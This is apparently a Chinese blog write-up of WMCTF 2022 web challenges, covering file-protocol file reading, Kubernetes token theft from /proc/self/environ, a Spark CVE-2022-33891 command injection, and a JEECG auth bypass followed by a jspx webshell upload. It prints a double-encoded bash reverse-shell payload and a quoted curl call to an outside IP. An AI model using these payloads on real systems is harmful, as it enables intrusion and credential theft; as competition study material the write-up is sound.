wmctf2022部分题目复现

wmctf2022

java

  • 比较快的解法

此解法在r3那里拿了3血

发现那个url栏目可以file协议读文件,随后尝试file:///时可以直接枚举当前目录下的文件,

image-20220831120934884

直接可以知道文件名,此外,发现file:///proc/self/cmdline可以直接读到tomcat绝对路径,这样一来找其webapps目录下就可以找到源码(刚好有个war包可以下载 file:///usr/local/Tomcat8/webapps/ROOT.war)

而源码里面又有个main.class,里面有段东西(后面再下载的时候就没有了,怀疑是被我们当时非预期看到了,后面就顺着这里面给的提示做了)

try {
            System.out.println(URLEncoder.encode("%3Bcurl+http%3A%2F%2F101.42.246.196%3A8080%2F66.html%3E%2Ftmp%2F60.html", "utf-8"));
            inputStream = null;
            try {
                inputStream = new URL(URLDecoder.decode("http://127.0.0.1:2335?doAs=%253Bcurl%2Bhttp%253A%252F%252F101.42.246.196%253A8080%252F66.html%253E%252Ftmp%252F60.html", "UTF-8")).openConnection().getInputStream();
                inputStream.close();
            } catch (Exception e) {
                e.printStackTrace();
                inputStream.close();
            }
        } catch (Throwable th) {
            inputStream.close();
            throw th;
        }

image-20220831121039932

与此同时在信息收集的过程中,直接爆破pid,可以找到一个内网网段10.244.0.1/16,

image-20220831121122396

直接扫描网段

image-20220831121323307

可以看到有一个服务—— spark,

容易联想到那个CVE-2022-33891 https://blog.csdn.net/qq_51577576/article/details/126332970

但是看代码有过滤反引号及其url一次编码和二次编码,所以问题转化为如何绕过

刚才说main.class里面http://127.0.0.1:2335?doAs=%253Bcurl%2Bhttp%253A%252F%252F101.42.246.196%253A8080%252F66.html%253E%252Ftmp%252F60.html这个其实就是暗示我们用分号+url双编码利用这个洞(分号绕过了反引号的检测)

原因是触发漏洞的底层源码是bash -c,可以堆叠注入

最终payload

url=http://10.244.0.93:8080?doAs=%253bbash%2520-i%2520%253e%2526%2520%252fdev%252ftcp%252fip%252f8888%25200%253e%25261&Vcode=
  • 预期解法是

感觉大部分战队都是这种解法吧,据vn说是的

其实除了发现内网网段的方式比较符合预期以外,其他的做法和上面第一种做法是一致的,那么这里是如何发现内网地址的呢

在任意文件读取的时候,可以发现内网存在k8s集群服务

首先读取/proc/self/environ

里面有个token是很神奇的,这是k8s的部分api的访问token(参考这篇文章https://support.huaweicloud.com/api-cci/listCoreV1NamespacedPod.html)

image-20220831140927628

注意token是图中高亮的部分

cookie中发现存在一段Jwt,jwt.io解码发现:

{
"alg": "RS256",
"kid": "MH7DqKI7SLagYcby5ZA7XNLogLqWK9xy5uDvk_siJ1c"
}
{
"iss": "kubernetes/serviceaccount",
"kubernetes.io/serviceaccount/namespace": "default",
"kubernetes.io/serviceaccount/secret.name": "ctfer-token-pz5lm",
"kubernetes.io/serviceaccount/service-account.name": "ctfer",
"kubernetes.io/serviceaccount/service-account.uid": "b8686418-9cb8-426b-8d
"sub": "system:serviceaccount:default:ctfer"
}

这里值得注意的是出现了service-account.name,这里可以看到是ctfer

源码里面会把我们请求的Header在new URL时转发过去,结合上面我们获得的Token和service-account.name,我们尝试去请求 k8s的API:

这里借用了vn师傅的图

image-20220831141811713

我自己复现的时候由于token复制黏贴错了所以一直500

下面还是借用别的师傅的图片

image-20220831141912942

easyjeecg

这题考察的是审计springcms的能力

根据题目描述很快可以找到这个cms相关的漏洞:JAVA代码审计-JEECG快速开发平台(一) - 先知社区 (aliyun.com),不过都需要登陆才行

flight师傅思路是:

看spring-mvc.xml,[Spring MVC配置文件详解 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/27650098#:~:text=Spring MVC项目中通常会有二个配置文件,sprng-servlet.xml和applicationContext.xml二个配置文件,通常会出现以下几个配置 1. ,它的作用是隐式地向 Spring 容器注册 AutowiredAnnotationBeanPostProcessor、CommonAnnotationBeanPostProcessor、PersistenceAnnotationBeanPostProcessor、RequiredAnnotationBeanPostProcessor 这4个BeanPostProcessor。)

image-20220831144936197

原本这有两个登录接口方案,其中方案2是没被注释正在生效的

image-20220831144907919

可以看到绝大多数的路径都需要登录,唯独下面这个toLogin.do采用方案1jwt接口验证即可,那么结合源码(因为访问其他的路由没有登录会跳到timeout页面,咱们定位一下)

image-20220831145746722

image-20220831145936835

当请求的path中存在toLogin.do的时候不会经过AuthInterceptor的鉴权校验,所以可以通过/toLogin.do/../xxx来访问被AuthInterceptor保护的路由

之后根据https://xz.aliyun.com/t/4405向这个类传马就行,必须jspx的马

image-20220831142245791

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇